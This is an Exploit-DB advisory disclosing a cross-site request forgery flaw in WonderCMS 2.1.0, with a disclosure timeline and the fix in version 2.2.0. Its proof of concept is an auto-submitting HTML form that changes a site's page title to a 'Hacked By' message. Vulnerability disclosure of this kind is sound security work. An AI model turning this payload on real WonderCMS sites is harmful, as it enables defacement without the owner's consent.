WonderCMS 2.1.0 - Cross-Site Request Forgery

EDB-ID: 42205
Author: Ehsan Hosseini
Published: 2017-06-19
CVE: N/A
Type: Webapps
Platform: PHP
Vulnerable App: Download Vulnerable Application

 # Exploit Title: Cross-Site Request Forgery in WonderCMS 
# Date: 2017-06-19
# Exploit Author: Zerox Security Lab
# Software Link: https://www.wondercms.com
# Version: 2.1.0
# Twitter: https://twitter.com/ZeroxSecLab

0xCode Lab ID:
---------------
0xC-201706-002

Introduction:
-------------
WonderCMS is a free open source Content Management System. In other
words, WonderCMS is a free website builder.
WonderCMS doesn't require any configuration and can be simply unzipped
and uploaded to your hosting provider. The database is a text file
which you can copy, move, backup and restore easily.

Proof of Concept (PoC):
------------------------
-->
<html>
<body>
<form action="http://localhost/wonder/" method="post">
<input name="fieldname" value="title">
<input name="content" value="Hacked By 0xCode Security Lab">
<input name="target" value="pages">
<input type="submit" value="ok">
</form>
</body>
</html>
<script>
document.forms[0].submit();
</script>
<!--
Disclosure Timeline:
---------------------
2017-06-16: Vulnerability found.
2017-06-17: Reported to vendor.
2017-06-17: Vendor responded and send a new version for test in it.
2017-06-17: Test new version and vulernability patched successfully.
2017-06-18: Vendor responded, update released.
2017-06-19: Public Disclosure.

Fix:
----
This issue fixed in WonderCMS 2.2.0

References:
------------
https://www.wondercms.com/whatsnew
https://www.wondercms.com/forum/viewtopic.php?f=8&t=885
https://github.com/robiso/wondercms/issues/36

Credits & Authors:
------------------
Zerox Security Lab
-->

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